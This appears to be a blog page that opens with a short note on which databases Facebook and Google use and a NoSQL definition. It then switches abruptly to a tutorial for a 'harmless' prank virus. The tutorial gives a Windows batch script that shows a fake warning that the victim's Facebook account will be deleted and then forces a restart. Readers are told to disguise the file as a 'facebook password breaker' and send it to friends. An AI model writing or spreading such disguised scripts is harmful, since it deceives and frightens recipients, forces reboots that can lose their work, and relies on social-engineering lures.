Which database does Facebook & Google use ?

Facebook has moved to a NoSQL database named HBase. Google uses their own system called BigTable. What is NoSQL ? NoSQL is a term used to designate databases which differ from classic relational databases. NoSQL database management systems are useful when working with a huge quantity of data when the data's nature does not require a relational model. The data can be structured, but NoSQL is used when what really matters is the ability to store and retrieve great quantities of data, not the relationships between the elements.

HOW TO CREATE A SIMPLE FUNNY VIRUS

Creating A FACEBOOK Virus (HARMLESS) :-
 
Creating virus is illegal but creating funny virus is not.Here I will show you how to make a funny virus to panic your friends.In this tutorial I will show you how to make Facebook virus using simple
commands on notepad.
This will make the victim think they have got a virus when they click on an icon such as Internet Explorer.
 
1) Open notepad
 
2) Type this in it :-

@echo off msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX! PAUSE shutdown -r -t 300 -c―SORRY!!! YOUR FACEBOOK ACCOUNT IS NOW BEING DELETED!!! PLEASE WAIT ..........."
 
3)Save it as facebook password breaker .bat
 
5) Send it to your friends and tell them it can break Facebook accounts
 
When He/She double click it a message will open and their computer will restart. After five minutes
windows will restart, that's all.
This is totally harmless and will make you a laugh.
NOTE: - The hack can be changed and use to make orkut virus or simply say hi or april fool

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